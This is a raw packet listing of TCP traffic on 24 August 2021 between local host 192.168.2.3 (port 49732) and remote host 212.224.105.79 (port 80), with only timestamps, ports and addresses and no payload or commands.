Aug 24, 2021 14:02:03.869586945 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.869606972 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.869610071 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.869627953 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.869638920 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.869648933 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.869654894 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.869674921 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.869697094 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.869702101 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.869719028 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.869739056 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.869740963 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.869760990 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.869765997 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.869782925 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.869805098 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.869826078 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.869829893 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.869851112 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.869874001 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.869883060 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.869896889 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.869918108 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.869920015 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.869937897 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.869955063 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.869971037 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.869988918 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.870006084 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.870023966 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.870045900 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.870066881 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.870090008 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.870111942 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.870114088 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.870132923 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.870136023 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.870158911 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.870177984 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.870188951 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.870198011 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.870218039 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.870225906 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.870239973 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.870250940 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.870261908 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.870281935 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.870282888 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.870307922 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.870316029 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.870332003 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.870352030 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.870378017 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.892569065 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.892647028 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.892668962 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.892688036 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.892699003 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.892735004 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.892750025 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.892798901 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.892802954 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.892838955 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.892853975 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.892899036 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.892915010 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.892956972 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.892957926 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.892986059 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.893002987 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.893024921 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.893028975 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.893058062 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.893068075 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.893096924 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.893099070 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.893131971 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.893157959 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.893165112 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.893181086 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.893210888 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.893213034 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.893249035 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.893264055 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.893287897 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.893290043 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.893332958 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.893352032 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.893393993 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.893402100 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.893435955 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.893440008 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.893484116 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.893488884 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.893532991 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.893537045 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.893578053 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.893585920 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.893630981 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.893630981 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.893677950 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.893695116 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.893742085 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.893747091 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.893794060 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.893805027 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.893847942 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.893853903 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.893913984 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.893934965 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.893955946 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.893985987 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.893996954 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.894006014 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.894026041 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.894045115 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.894069910 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.894092083 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.894143105 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.894155979 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.894201040 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.894215107 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.894247055 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.894268036 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.894288063 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.894315004 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.894357920 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.894371986 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.894403934 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.894418001 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.894459009 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.894460917 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.894510031 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.894510031 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.894552946 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.894563913 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.894577026 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.894622087 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.894695997 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.894702911 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.894707918 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.894741058 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.894750118 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.894773006 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.894788027 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.894795895 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.894815922 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.894819975 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.894838095 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.894841909 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.894859076 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.894865990 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.894880056 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.894889116 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.894901991 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.894912004 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.894926071 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.894934893 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.894948959 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.894959927 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.894969940 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.894984007 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.894989967 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.895009041 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.895029068 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.895030975 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.895050049 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.895071030 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.895073891 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.895092964 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.895132065 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.895138979 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.895155907 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.895165920 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.895178080 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.895199060 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.895207882 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.895220995 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.895229101 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.895248890 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.895255089 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.895272017 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.895292044 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.895293951 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.895312071 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.895328045 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.895332098 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.895350933 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.895359993 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.895371914 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.895392895 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.895392895 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.895414114 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.895417929 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.895438910 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.895448923 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.895463943 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.895467997 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.895483971 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.895490885 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.895504951 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.895513058 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.895528078 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.895535946 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.895550966 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.895558119 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.895571947 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.895580053 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.895593882 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.895601988 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.895618916 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.895623922 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.895642042 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.895643950 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.895663977 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.895670891 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.895688057 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.895709991 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.895720959 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.895731926 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.895740986 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.895754099 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.895772934 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.895776987 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.895797014 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.895801067 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.895818949 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.895837069 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.895843983 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.895859003 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.895876884 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.895895958 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.895901918 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.895919085 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.895926952 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.895941019 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.895945072 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.895967960 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.895987988 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.895991087 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.896008968 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.896029949 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.896034956 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.896050930 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.896059990 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.896071911 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.896092892 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.896095991 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.896114111 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.896140099 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.896140099 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.896163940 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.896164894 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.896184921 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.896193027 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.896209002 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.896215916 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.896230936 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.896239996 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.896254063 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.896264076 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.896276951 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.896298885 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.896310091 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.896317005 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.896317005 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.896336079 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.896362066 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.896370888 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.896385908 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.896406889 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.896416903 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.896431923 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.896457911 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.897538900 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.918605089 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.918651104 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.918699026 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.918713093 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.918721914 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.918760061 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.918772936 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.918821096 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.918833971 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.918881893 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.918888092 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.918929100 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.918947935 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.918992043 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.918998003 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.919043064 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.919053078 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.919080019 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.919086933 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.919112921 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.919137955 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.919172049 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.919183016 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.919228077 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.919230938 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.919271946 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.919295073 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.919336081 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.919339895 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.919388056 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.919398069 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.919442892 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.919461966 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.919504881 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.919512987 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.919570923 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.919572115 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.919615030 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.919620991 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.919666052 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.919686079 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.919735909 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.919737101 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.919779062 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.919801950 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.919842005 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.919868946 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.919893980 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.919918060 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.919946909 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.919971943 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.919984102 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.920002937 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.920016050 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.920038939 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.920038939 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.920059919 CEST	49732	80	192.168.2.3	212.224.105.79
